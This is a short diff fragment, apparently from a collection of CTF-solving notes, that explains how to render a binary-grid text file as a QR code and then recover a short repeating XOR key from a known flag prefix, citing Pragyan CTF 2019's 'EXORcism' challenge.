+ **Key insight:** Binary-grid text files are often "render me" puzzles — one pixel per bit, scale by 4-8x so `zbarimg`/`pyzbar` can find the finder patterns. If the decoded bytes are printable-ish but nonsense (e.g. `9YQ8S_VY^`), try short repeating-key XOR with the word `flag`, the CTF name, or `ctf{` — XORing the first 5 bytes of ciphertext with `pctf{` recovers the key immediately.
503
+
504
+ **References:** Pragyan CTF 2019 — EXORcism, writeup 13835